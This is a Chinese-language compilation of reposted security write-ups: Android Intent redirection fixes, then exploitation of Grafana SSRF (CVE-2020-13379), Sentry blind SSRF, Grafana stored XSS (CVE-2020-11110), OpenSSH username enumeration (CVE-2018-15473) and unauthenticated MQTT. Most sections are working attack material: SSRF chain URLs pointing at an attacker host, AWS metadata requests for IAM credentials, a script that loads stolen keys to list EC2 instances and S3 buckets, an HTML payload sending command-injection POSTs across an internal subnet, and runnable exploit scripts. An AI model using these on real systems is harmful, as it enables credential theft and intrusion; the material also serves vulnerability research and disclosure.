如果受影响的应用组件不需要接收来自其他应用的 Intent,可以将此应用组件设为专用组件,只需在清单中设置 android:exported=“false” 即可。

方法2:确保提取的Intent来自可信的来源。

可以使用 getCallingActivity 等方法来验证源 Activity 是否可信。

例如:

1
2
3
4
5
6
7
8
// 检查源 Activity 是否来自可信的包名
if (getCallingActivity().getPackageName().equals(“known”)) {
Intent intent = getIntent();
// 提取嵌套的 Intent
Intent forward = (Intent) intent.getParcelableExtra(“key”);
// 重定向嵌套的 Intent
startActivity(forward ) ;
}

注意:检查 getCallingActivity() 是否返回非null值并不足以防范此漏洞。恶意App可以为此函数提供 null 值,最好加上APP的签名校验。

方法3:确保要重定向的Intent是无害的。

需要先验证重定向的Intent,确保该 Intent

1.不会被发送到APP的任何专用组件

2.不会被发送到外部应用的组件。如果重定向的目标是外部应用,请确保该 Intent 不会向APP的私有content provider授予URI权限。

在重定向 Intent 之前,应用可以先使用resolveActivity等方法检查将使用哪个组件来处理该 Intent。

例如:

1
2
3
4
5
6
7
8
9
10
11
Intent intent = getIntent();
// 提取嵌套的 Intent
Intent forward = (Intent) intent.getParcelableExtra(“key”);
// 获取组件名称
ComponentName name = forward.resolveActivity(getPackageManager());
// 检查软件包名称和类名称是否符合预期
if (name.getPackageName().equals(“safe_package”) &&
name.getClassName().equals(“safe_class”)) {
// 重定向嵌套的 Intent
startActivity(forward);
}

App可以使用getFlags等方法来检查 Intent 是否会授予 URI 权限。应用还可以使用removeFlags撤消 URI 权限的授予。

例如:

1
2
3
4
5
6
7
8
9
10
// 提取嵌套的 Intent
Intent forward = (Intent) intent.getParcelableExtra(“key”);
// 获取标记
int flags = forward.getFlags();
// 检查嵌套的 Intent 不能授予 URI 读写权限
if (( flags & Intent.FLAG_GRANT_READ_URI_PERMISSION == 0) &&
(flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION == 0)) {
/ / 重定向嵌套的 Intent
startActivity(forward);
}

参考

[1] Intent Redirection Vulnerability https://support.google.com/faqs/answer/9267555?hl=en

[2] #272044 Android - Access of some not exported content providershttps://hackerone.com/reports/272044[3] #200427 Access of Android protected components via embedded intenthttps://hackerone.com/reports/200427[4] Intent.toUrihttps://developer.android.com/reference/android/content/Intent#toURI()

挖洞经验 | Grafana应用实例未授权读取型SSRF(CVE-2020-13379)

挖洞经验 | Grafana应用实例未授权读取型SSRF(CVE-2020-13379)

本文转自clouds 并作补充

近期,我在做Grafana公司的安全众测,通过研究我发现综合利用重定向跳转和URL参数注入漏洞,可以在Grafana产品任意实例中实现未授权的服务端请求伪造攻击(SSRF),漏洞影响版本为3.0.1至7.0.1的大范围Grafana产品,相关情况上报后被分配了CVE-2020-13379的漏洞编号。(漏洞PDF技术细节点此下载

漏洞发现过程

在Grafana名为api.go的开源文件中,位于其第423行有这么一行代码:

r.Get("/avatar/:hash", avatarCacheServer.Handler)

为了加载用户上传保存于gravatar上的头像图片,该行代码读取**/avatar/:hash中的哈希值(如https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....**),并把它传递给域名为**secure.grafana.com**的相关路径。这里,大致的代码逻辑如下:

1
2
3
4
5
const (
gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):

上述代码逻辑中的this.hash也就是前述**/avatar/:hash经URL编码传递过来的hash,实际上这个被URL编码过的:hash串中,允许我们插入其它参数从而形成URL参数注入。在secure.gravatar.com域名路径下,如果向其中插入参数d,即https://secure.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50?d=....**,之后,就会发生跳转到另一个图片存储服务**i0.wp.com**的情况,这是后续跳转利用链中的第一个跳转问题。

所以,我们还需要从i0.wp.com继续构造跳转,好在最后,由于主机验证机制中一个不当的正则表达式应用,我们成功形成了跳转。过程是这样的:

i0.wp.com中的URL链接构造为**i0.wp.com/{domainOfImage}/{pathOfImage}*,该URL链接的目的在于,i0.wp.com依托.bp.blogspot.com域名存储了自身的一部份图片,因此,i0.wp.com还会继续形成对.bp.blogspot.com的跳转。后经我花费了几个小时的测试,发现利用以下链接可在该跳转中形成一个开放重定向跳转:

http://i0.wp.com/google.com?;/1.bp.blogspot.com/

最终,综合两个跳转,可以在Grafana后台形成以下跳转链接:

https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com

在以上链接中,Grafana后台会获取test?d=google.com%3f;/bp.blogspot.com作为**:hash**值。

回到前述的d参数场景中,在以下链接中加入d参数:

https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/

该请求会发生一个到i0.wp.com的跳转,成为:

http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/

然后,i0.wp.com会继续发生指向google.com的跳转,成为:

https://google.com?;/1.bp.blogspot.com

用户头像avatar的源码文件中可以看到,其中具备内容类型属性信息Content-Type: image/jpeg,以及请求后的相关响应机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
if avatar.Expired() {
// The cache item is either expired or newly created, update it from the server
if err := avatar.Update(); err != nil {
log.Trace("avatar update error: %v", err)
avatar = this.notFound
}
}

if avatar.notFound {
avatar = this.notFound
} else if !exists {
if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
log.Trace("Error adding avatar to cache: %s", err)
}
}

ctx.Resp.Header().Add("Content-Type", "image/jpeg")

if !setting.EnableGzip {
ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}

ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")

if err := avatar.Encode(ctx.Resp); err != nil {
log.Warn("avatar encode error: %v", err)
ctx.WriteHeader(500)
}

因此,综上所述的各种技术利用点,可以构造出以下成功的SSRF运行链接,让Grafana后台服务器发起对YOURHOSTHERE的请求。

https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE

该漏洞影响的不仅只是Grafana的产品实例,而且其在Gitlab(/-/grafana)和SourceTree(/-/debug/grafana/)上的源码实例也受影响。

漏洞利用

正如我在HackerOne的HacktivityCon会上所说的, 该漏洞有多个有意思的利用点。接下来,我就来分享一下具体的漏洞利用方式。

漏洞利用1-对Grafana项目云实例元数据API的操控访问(Manipulate AWS/Cloud Metadata APIs)

现代SSRF漏洞的一种流行利用就是用它去执行对目标系统云上元数据API接口的访问,以从中获得相关敏感信息。元数据API接口大多都是AWS的云形式,我们可以设法从中获取到Grafana项目EC2实例中的用户身份验证授权凭证(IAM),然后以此横向渗透到组织机构内网。迄今为止,攻击者已经利用此种SSRF利用方法渗透入侵,导致了一些大规模的数据泄露事件。

作为攻击者来说,主要关心的就是尝试从公开的AWS元数据服务器(169.254.169.254)中,用以下访问链接获取用户IAM凭证:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE(实例项目名称)

成功获取的用户IAM凭证内容如下:

1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2019-08-15T18:13:44Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d",
"SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE",
"Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3rbYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=",
"Expiration" : "2019-08-16T00:33:31Z"
}

有了这个IAM凭证,我们就能通过用户身份验证这一关,以内部用户身份执行对EC2实例和S3存储桶的任意访问。如果要用IAM来执行深入的用户验证测试危害证明,我推荐使用NCCGroup安全团队的Scout2工具,不过由于它会产生大量的请求响应,而且会引发一系列的密钥轮换数据,有点太过于Noisy了。这里我还是用以下标准输入的脚本方式来利用上述IAM凭证吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' )
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

通过AWS公开的元数据服务器访问链接http://169.254.169.254/latest/user-data,我们可以从中获取到目标实例相关的很多敏感信息,虽然[AWS文档](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html)一再声称不要在该实例位置存储凭证信息,但以经验来看,之前我还是从中发现获取了大量K8S Secrets、IAM Credentials、SSL Certificates、GitHub Credentials等密钥数据。
另外,我们还能从另外一个AWS路径中获取有用信息:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

漏洞利用2-图片渲染过程导致的Blind SSRF

Grafana实例内部会发生大量的图片渲染过程,因此攻击者可以向其中以Headless Chrome实例方式(非Chrome环境中运行Chrome),构造包含超时变量的HTML页面,以此为据点,实施长期的内网RCE攻击尝试。

同样,我们利用CVE-2020-13379的SSRF漏洞,还能执行内网端口扫描探测,比如,在Grafana的通用实例中会有一个3001端口,用该SSRF方法可以成功探测到:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive

Grafana Image Renderer

基于此,攻击者可以精心构造,让Grafana实例系统通过以下链接执行危险操作:

localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

这里,我编写了以下HTML文件进行一个自动化快速的漏洞利用,用它可以进行RCE提权攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
async function postData(url = '', data = {}) {
const response = await fetch(url, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
return response.json();
}
for (var i = 0; i < 255; i++){
postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}
</script>

漏洞利用3-操控Gitlab的 Prometheus Redis导出器

Prometheus 是一个开源的服务监控系统和时间序列数据库。之前我们已经提到过,该漏洞还会对版本<13.1.1的Grafana Gitlab实例产生影响。根据Gitlab说明文档介绍,Grafana Gitlab实例 9.0版本开始,其Prometheus和导出器(Exporter)都是默认开启的,恰巧这些导出器可以成为攻击者利用CVE-2020-13379的突破口,其中一个导出器即是Redis Exporter,其路径为**http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=\***,攻击者利用target参数构造,通过该路径可以下载redis服务器中的所有密钥信息。

漏洞利用4- Image-Only SSRF -> Full-Read SSRF

在Grafana**开源文件avatar.go的第104行**中,其对该SSRF响应内容类型(Content Type)为image/jpeg,这就给了我们基于该SSRF漏洞,综合利用其它漏洞的独特机会。假设我们有以下场景:example.com/fetchImage.php?image=http://localhost/image.png

其fetchImage.php中的代码向请求目标发送了一个HTTP请求,然后会检查其内容类型(Content Type)是否为image/jpeg,如果是就返回请求内容。因此,如果某个内部Grafana实例存在我们这里的CVE-2020-13379漏洞,那么攻击者可以构造以下链接形成一个内容读取型的SSRF漏洞攻击:example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

由于返回内容需要是image/jpeg,因此它会执行一个content-type验证。另外,因为这是一个图像方式SSRF触发的读取型SSRF,而且攻击者可以控制其中的链接跳转,所以,攻击者还可把它用于文件扩展名检查欺骗。

总结

该漏洞发现其实并不复杂,有意思的是Grafana内部HTTP请求发生时,读取 :hash时的参数注入问题,但无论如何,其漏洞影响非常严重,且其漏洞利用非常稳定有效。以下是我的几点心得:

1、在源码检查时,首先去考虑未授权路径,其次是授权绕过;

2、如果在开源应用中发现了某些有意思的功能,那相对于“黑盒测试”来说,可以针对该功能花心思测试测试,至少你能以开源方式获取更多数据,并能把你的“漏洞嗅觉”派上用场;

3、针对0-day漏洞的挖掘可能会激发你的动力;

4、有些公司不会为他们的0-day漏洞买单,

5、自己发现漏洞后,可以和值得依赖的朋友分享,让他们也帮助看看是否能进行更深入的漏洞利用;

6、这是我的一个漏洞报告模板工具,欢迎参考-https://github.com/rhynorater/reports

参考来源

rhynorater

Sentry SSRF

Sentry SSRF

本文转自Mysticbinary 并作补充

What is Sentry

Sentry 是一个实时的事件日志和聚合平台,基于 Django 构建。一般在url上、或者logo上看到有sentry都可以用它的exp试试,原理是由于sentry默认开启source code scrapping ,导致可以从外部进行blind ssrf请求。

exp testing

1
2
3
(python3) ➜  sentrySSRF git:(master) python sentrySSRF.py -i http://【your target url】 -d
Found Sentry: https://ef00ffc3xxxxxe5b60afff8c138c77e@【your target url】/1
Enter your burpcollaborator address:【your dnslog】

然后去你到dnslog看看有没有请求记录即可。

exp源码参考:
配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re

if __name__ == "__main__":
s = "https://a8d729459beb446eb3cbb9df997dcc7b@sentry.mindworks.xyz/1"
collaborator = "dp6sk5k006h6dcq3bdu6e6a9t0zqnf.burpcollaborator.net"
key = re.search('https://(.*)@', s)
domain = re.search('@(.*)/', s)
number = re.search('/(.*)', s[8:])
url = "https://" + domain.group(1) + "/api/" + number.group(1) + "/store/?sentry_key=" + key.group(1) + "&sentry_version=7"
print(url)
datas = {"extra":{"component":"redux/actions/index","action":"RegisterDeviceWeb","serialized":{"code":"INVALID_CREDENTIALS","details":[]}},"fingerprint":["3cbf661c7f723b0a5816c16968fd9493","Non-Error exception captured with keys: code, details, message"],"message":"Non-Error exception captured with keys: code, details, message","stacktrace":{"frames":[{"colno":218121,"filename":"http://"+collaborator,"function":"?","lineno":1}]},"exception":{"values":[{"value":"Custom Object","type":"Error"}]},"event_id":"d0513ec5a3544e05aef0d1c7c5b24bae","platform":"javascript","sdk":{"name":"sentry.javascript.browser","packages":[{"name":"npm:@sentry/browser","version":"4.6.4"}],"version":"4.6.4"},"release":"6225dd99","user":{"phash":"996a3f4661e02cb505ae0daf406555e9b914f9d43d635c52cfc7485046862a7f"},"breadcrumbs":[{"timestamp":1554226659.455,"category":"navigation","data":{"from":"/","to":"/login"}}]}
headers = {'Content-type': 'application/json', 'Origin':'https://z.tochka.com/'}
rsp = requests.post(url, json=datas, headers=headers)

To Build blind http pack

1
2
3
4
5
6
7
8
9
10
11
POST /api/1/store/?sentry_version=7&sentry_client=raven-js%2f3.15.0&sentry_key=【your key】 HTTP/1.1
Host: 【your target url】.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-type: application/json
Origin:【随意domain】
Content-Length: 329

{"project":"30","logger":"javascript","platform":"javascript","exception":{"values":[{"type":"Error","value":"Trying to get control scope but angular isn't ready yet or something like this","stacktrace":{"frames":[{"filename":"http://【your dnslog】","lineno":110,"colno":81071,"function":"XMLHttpRequest.o","in_app":true}]}}]}}

image

sentry_version = 红线2 (报错可以手动修改几个其他版本试试)
sentry_key = Raven.config 红线1
origin = 可以随便写

Repair

1、sentry关闭 source code scrapping;
2、保证配置文件中的黑名单不为空:/sentry/conf/server.py

Reference

https://hackerone.com/reports/374737
https://github.com/xawdxawdx/sentrySSRF

Grafana 存储型XSS漏洞(CVE-2020-11110)

Grafana 存储型XSS漏洞(CVE-2020-11110)

本文转自starnight_cyber 并作补充

Preface

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

1
2
3
4
5
6
CVE编号:
CVE-2020-11110
影响范围:
Grafana v6.2.5
Links
https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

复现记录

测试环境部署

1
2
payload => 
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

image

Stored-XSS

替换 url 中的 localhost,访问快照地址,点击链接🔗图标。 Stored-XSS。

image

snapshot 快照删除

访问 deleteUrl:

http://103.210.xx.xx:3000/api/snapshots-delete/o3ITlrkiwgJexFmCJxr4gsNZ8QDcc0eQ

image

可以删除 snapshot,这里算是个严重程度更高的漏洞。

修复方案

版本升级。

Refer

https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

以上!

OpenSSH用户名枚举及其检测方法(CVE-2018-15473)

OpenSSH用户名枚举及其检测方法(CVE-2018-15473)

本文转自testerzhang 并作补充

OpenSSH 7.7前在接收到畸形的认证请求包时,会根据用户名的存在与否给出不同的响应,由此导致通过SSH服务枚举服务器的用户名。

ssh-check-username.py 使用说明

  • 安装依赖包 pip install paramiko==2.0.8
  • 语法:python ssh_checkusername.py ip username –port 22

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.


import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
pass


def add_boolean(*args, **kwargs):
pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)

try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'

验证说明:

如果服务器存在的用户,则脚本会返回Valid username

如果服务器不存在的用户,则脚本会返回Invalid username
如果升级ssh版本之后:

如果服务器存在的用户,则脚本会返回Valid username

如果服务器不存在的用户,则脚本会返回Valid username

MQTT未授权漏洞利用

MQTT未授权漏洞利用

本文转自唐小风 并作补充

1、扫描端口

image

2、mqtt-pwd安装

1
2
3
4
git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwd
docker-compose up --build --detach
docker-compose run cli
1
2
3
4
discovery
scans
scans -i 1
topics

image